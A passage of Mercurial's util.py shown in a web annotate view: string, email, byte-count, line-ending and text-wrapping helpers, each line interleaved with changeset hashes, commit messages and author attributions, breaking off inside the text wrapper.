parents:
1635
diff
changeset
|
2277 def shortuser(user): |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2278 """Return a short representation of a user name or email address.""" |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2279 f = user.find('@') |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2280 if f >= 0: |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2281 user = user[:f] |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2282 f = user.find('<') |
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2283 if f >= 0: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2284 user = user[f + 1:] |
3176
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2285 f = user.find(' ') |
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2286 if f >= 0: |
7492b33bdd9f
shortuser should stop before the first space character.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3147
diff
changeset
|
2287 user = user[:f] |
3533
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2288 f = user.find('.') |
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2289 if f >= 0: |
bb44489b901f
shortname: truncate at '.' too
Matt Mackall <mpm@selenic.com>
parents:
3466
diff
changeset
|
2290 user = user[:f] |
1903
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2291 return user |
1920 | 2292 |
16360
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2293 def emailuser(user): |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2294 """Return the user portion of an email address.""" |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2295 f = user.find('@') |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2296 if f >= 0: |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2297 user = user[:f] |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2298 f = user.find('<') |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2299 if f >= 0: |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2300 user = user[f + 1:] |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2301 return user |
e5788269741a
templates/filters: extracting the user portion of an email address
Matteo Capobianco <m.capobianco@gmail.com>
parents:
15720
diff
changeset
|
2302 |
5975
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2303 def email(author): |
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2304 '''get email of author.''' |
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2305 r = author.find('>') |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2306 if r == -1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2307 r = None |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2308 return author[author.find('<') + 1:r] |
5975
75d9fe70c654
templater: move email function to util
Matt Mackall <mpm@selenic.com>
parents:
5949
diff
changeset
|
2309 |
3767
1861fa38a6a7
Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3721
diff
changeset
|
2310 def ellipsis(text, maxlength=400): |
21857
86c2d792a4b7
util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21813
diff
changeset
|
2311 """Trim string to at most maxlength (default: 400) columns in display.""" |
86c2d792a4b7
util: replace 'ellipsis' implementation by 'encoding.trim'
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21813
diff
changeset
|
2312 return encoding.trim(text, maxlength, ellipsis='...') |
3767
1861fa38a6a7
Move ellipsis code to util.ellipsis() and improve maxlength handling.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
3721
diff
changeset
|
2313 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2314 def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2315 '''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2316 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2317 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2318 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2319 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2320 return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2321 return unittable[-1][2] % count |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2322 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2323 return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2324 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2325 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2326 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2327 0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2328 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2329 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2330 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2331 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2332 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2333 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2334 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2335 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2336 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2337 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2338 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2339 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2340 if toline - fromline < 0: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2341 raise error.ParseError(_("line range must be positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2342 if fromline < 1: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2343 raise error.ParseError(_("fromline must be strictly positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2344 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2345 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2346 bytecount = unitcountfn( |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2347 (100, 1 << 30, _('%.0f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2348 (10, 1 << 30, _('%.1f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2349 (1, 1 << 30, _('%.2f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2350 (100, 1 << 20, _('%.0f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2351 (10, 1 << 20, _('%.1f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2352 (1, 1 << 20, _('%.2f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2353 (100, 1 << 10, _('%.0f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2354 (10, 1 << 10, _('%.1f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2355 (1, 1 << 10, _('%.2f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2356 (1, 1, _('%.0f bytes')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2357 ) |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2358 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2359 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2360 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2361 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2362 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2363 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2364 def tolf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2365 return _eolre.sub('\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2366 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2367 def tocrlf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2368 return _eolre.sub('\r\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2369 |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2370 if pycompat.oslinesep == '\r\n': |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2371 tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2372 fromnativeeol = tolf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2373 else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2374 tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2375 fromnativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2376 |
31451
53865692a354
util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31449
diff
changeset
|
2377 def escapestr(s): |
31453
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2378 # call underlying function of s.encode('string_escape') directly for |
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2379 # Python 3 compatibility |
3b7a6941a6ef
py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31451
diff
changeset
|
2380 return codecs.escape_encode(s)[0] |
31451
53865692a354
util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31449
diff
changeset
|
2381 |
31484
afb335353d28
util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31465
diff
changeset
|
2382 def unescapestr(s): |
31485
cad95575dc46
py3: call codecs.escape_decode() directly
Yuya Nishihara <yuya@tcha.org>
parents:
31484
diff
changeset
|
2383 return codecs.escape_decode(s)[0] |
31484
afb335353d28
util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents:
31465
diff
changeset
|
2384 |
33682
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2385 def forcebytestr(obj): |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2386 """Portably format an arbitrary object (e.g. exception) into a byte |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2387 string.""" |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2388 try: |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2389 return pycompat.bytestr(obj) |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2390 except UnicodeEncodeError: |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2391 # non-ascii string, may be lossy |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2392 return pycompat.bytestr(encoding.strtolocal(str(obj))) |
1d5e497c08b3
py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents:
33619
diff
changeset
|
2393 |
5291
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2394 def uirepr(s): |
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2395 # Avoid double backslash in Windows path repr() |
23651848d638
extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents:
5213
diff
changeset
|
2396 return repr(s).replace('\\\\', '\\') |
7547
4949729ee9ee
python implementation of diffstat
Alexander Solovyov <piranha@piranha.org.ua>
parents:
7537
diff
changeset
|
2397 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2398 # delay import of textwrap |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2399 def MBTextWrapper(**kwargs): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2400 class tw(textwrap.TextWrapper): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2401 """ |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2402 Extend TextWrapper for width-awareness. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2403 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2404 Neither number of 'bytes' in any encoding nor 'characters' is |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2405 appropriate to calculate terminal columns for specified string. |
12957
9f2ac318b92e
util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents:
12938
diff
changeset
|
2406 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2407 Original TextWrapper implementation uses built-in 'len()' directly, |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2408 so overriding is needed to use width information of each characters. |
12957
9f2ac318b92e
util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents:
12938
diff
changeset
|
2409 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2410 In addition, characters classified into 'ambiguous' width are |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2411 treated as wide in East Asian area, but as narrow in other. |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2412 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2413 This requires use decision to determine width of such characters. |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2414 """ |
15065
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2415 def _cutdown(self, ucstr, space_left): |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2416 l = 0 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2417 colwidth = encoding.ucolwidth |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2418 for i in xrange(len(ucstr)): |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2419 l += colwidth(ucstr[i]) |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2420 if space_left < l: |
15065
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2421 return (ucstr[:i], ucstr[i:]) |
24a6c3f903bb
util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents:
15024
diff
changeset
|
2422 return ucstr, '' |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2423 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2424 # overriding of base class |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2425 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2426 space_left = max(width - cur_len, 1) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2427 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2428 if self.break_long_words: |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2429 cut, res = self._cutdown(reversed_chunks[-1], space_left) |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2430 cur_line.append(cut) |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2431 reversed_chunks[-1] = res |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2432 elif not cur_line: |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2433 cur_line.append(reversed_chunks.pop()) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2434 |
26201
c5b2074ae8c0
util: capitalize Python in MBTextWrapper._wrap_chunks comment
timeless@mozdev.org
parents:
26126
diff
changeset
|
2435 # this overriding code is imported from TextWrapper of Python 2.6 |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2436 # to calculate columns of string by 'encoding.ucolwidth()' |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2437 def _wrap_chunks(self, chunks): |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2438 colwidth = encoding.ucolwidth |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2439 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2440 lines = [] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2441 if self.width <= 0: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2442 raise ValueError("invalid width %r (must be > 0)" % self.width) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2443 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2444 # Arrange in reverse order so items can be efficiently popped |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2445 # from a stack of chucks. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2446 chunks.reverse() |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2447 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2448 while chunks: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2449 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2450 # Start the list of chunks that will make up the current line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2451 # cur_len is just the length of all the chunks in cur_line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2452 cur_line = [] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2453 cur_len = 0 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2454 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2455 # Figure out which static string will prefix this line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2456 if lines: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2457 indent = self.subsequent_indent |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2458 else: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2459 indent = self.initial_indent |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
